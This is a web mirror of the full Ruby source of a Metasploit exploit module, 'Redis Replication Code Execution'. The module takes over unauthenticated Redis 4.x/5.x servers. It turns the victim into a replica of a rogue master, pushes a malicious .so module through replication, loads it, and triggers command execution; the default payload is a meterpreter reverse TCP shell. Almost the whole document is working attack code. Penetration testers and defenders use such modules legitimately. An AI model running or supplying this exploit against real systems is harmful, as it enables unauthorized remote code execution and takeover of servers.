CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::FileDropper
12
include Msf::Auxiliary::Redis
13
include Msf::Module::Deprecated
14
15
moved_from "exploit/linux/redis/redis_unauth_exec"
16
17
def initialize(info = {})
18
super(update_info(info,
19
'Name' => 'Redis Replication Code Execution',
20
'Description' => %q{
21
This module can be used to leverage the extension functionality added since Redis 4.0.0
22
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
23
which called replication between master and slave.
24
},
25
'License' => MSF_LICENSE,
26
'Author' =>
27
[
28
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
29
],
30
'References' =>
31
[
32
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
33
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
34
],
35
36
'Platform' => 'linux',
37
'Arch' => [ARCH_X86, ARCH_X64],
38
'Targets' =>
39
[
40
['Automatic', {} ],
41
],
42
'DefaultOptions' => {
43
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
44
'SRVPORT' => '6379'
45
},
46
'Privileged' => false,
47
'DisclosureDate' => '2018-11-13',
48
'DefaultTarget' => 0,
49
'Notes' =>
50
{
51
'Stability' => [ SERVICE_RESOURCE_LOSS],
52
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
53
},
54
))
55
56
register_options(
57
[
58
Opt::RPORT(6379),
59
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
60
]
61
)
62
63
register_advanced_options(
64
[
65
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
66
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
67
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
68
]
69
)
70
deregister_options('URIPATH', 'THREADS', 'SSLCert')
71
end
72
73
#
74
# Now tested on redis 4.x and 5.x
75
#
76
def check
77
connect
78
# they are only vulnerable if we can run the CONFIG command, so try that
79
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
80
81
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
82
report_redis(redis_version)
83
end
84
85
unless redis_version
86
print_error('Cannot retrieve redis version, please check it manually')
87
return Exploit::CheckCode::Unknown
88
end
89
90
# Only vulnerable to version 4.x or 5.x
91
version = Rex::Version.new(redis_version)
92
if version >= Rex::Version.new('4.0.0')
93
vprint_status("Redis version is #{redis_version}")
94
return Exploit::CheckCode::Vulnerable
95
end
96
97
Exploit::CheckCode::Safe
98
ensure
99
disconnect
100
end
101
102
def has_check?
103
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
104
end
105
106
def exploit
107
if check_custom
108
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
109
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
110
else
111
@module_init_name = 'shell'
112
@module_cmd = 'shell.exec'
113
end
114
115
if srvhost == '0.0.0.0'
116
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
117
end
118
119
#
120
# Prepare for payload.
121
#
122
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
123
# It's only worked on linux system.
124
#
125
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
126
#
127
if check_custom
128
buf = create_payload
129
generate_code_file(buf)
130
compile_payload
131
end
132
133
connect
134
135
#
136
# Send the payload.
137
#
138
redis_command('SLAVEOF', srvhost, srvport.to_s)
139
redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
140
::IO.select(nil, nil, nil, 2.0)
141
142
# start the rogue server
143
start_rogue_server
144
# waiting for victim to receive the payload.
145
Rex.sleep(1)
146
redis_command('MODULE', 'LOAD', "./#{module_file}")
147
redis_command('SLAVEOF', 'NO', 'ONE')
148
149
# Trigger it.
150
print_status('Sending command to trigger payload.')
151
pull_the_trigger
152
153
# Clean up
154
Rex.sleep(2)
155
register_file_for_cleanup("./#{module_file}")
156
#redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
157
#redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
158
159
ensure
160
disconnect
161
end
162
163
#
164
# We pretend to be a real redis server, and then slave the victim.
165
#
166
def start_rogue_server
167
begin
168
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
169
print_status("Listening on #{srvhost}:#{srvport}")
170
rescue Rex::BindFailed
171
print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
172
print_status("Listening on 0.0.0.0:#{srvport}")
173
socket = Rex::Socket::TcpServer.create({'LocalHost'=>'0.0.0.0', 'LocalPort'=>srvport})
174
end
175
176
rsock = socket.accept()
177
vprint_status('Accepted a connection')
178
179
# Start negotiation
180
while true
181
request = rsock.read(1024)
182
vprint_status("in<<< #{request.inspect}")
183
response = ""
184
finish = false
185
186
case
187
when request.include?('PING')
188
response = "+PONG\r\n"
189
when request.include?('REPLCONF')
190
response = "+OK\r\n"
191
when request.include?('PSYNC') || request.include?('SYNC')
192
response = "+FULLRESYNC #{'Z'*40} 1\r\n"
193
response << "$#{payload_bin.length}\r\n"
194
response << "#{payload_bin}\r\n"
195
finish = true
196
end
197
198
if response.length < 200
199
vprint_status("out>>> #{response.inspect}")
200
else
201
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
202
end
203
204
rsock.put(response)
205
206
if finish
207
print_status('Rogue server close...')
208
rsock.close()
209
socket.close()
210
break
211
end
212
end
213
end
214
215
def pull_the_trigger
216
if check_custom
217
redis_command("#{@module_cmd}")
218
else
219
execute_cmdstager
220
end
221
end
222
223
#
224
# Parpare command stager for the pre-compiled payload.
225
# And the command of module is hard-coded.
226
#
227
def execute_command(cmd, opts = {})
228
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
229
end
230
231
#
232
# Generate source code file of payload to be compiled dynamicly.
233
#
234
def generate_code_file(buf)
235
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
236
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
237
end
238
239
def compile_payload
240
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
241
vprint_status("Clean old files")
242
vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|)
243
vprint_status(%x|make -C #{File.dirname(make_file)} clean|)
244
245
print_status('Compile redis module extension file')
246
res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true|
247
if res.include? 'true'
248
print_good("Payload generated successfully! ")
249
else
250
print_error(res)
251
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
252
end
253
end
254
255
#
256
# check the environment for compile payload to so file.
257
#
258
def check_env
259
# check if linux
260
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
261
# check if gcc installed
262
return false unless %x|command -v gcc && echo true|.include? "true"
263
# check if ld installed
264
return false unless %x|command -v ld && echo true|.include? "true"
265
266
true
267
end
268
269
def check_custom
270
return @custom_payload if @custom_payload
271
272
@custom_payload = false
273
@custom_payload = true if check_env && datastore['CUSTOM']
274
275
@custom_payload
276
end
277
278
def module_file
279
return @module_file if @module_file
280
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
281
end
282
283
def create_payload
284
p = payload.encoded
285
Msf::Simple::Buffer.transform(p, 'c', 'buf')
286
end
287
288
def payload_bin
289
return @payload_bin if @payload_bin
290
if check_custom
291
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
292
else
293
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
294
end
295
@payload_bin
296
end
297
end
298
299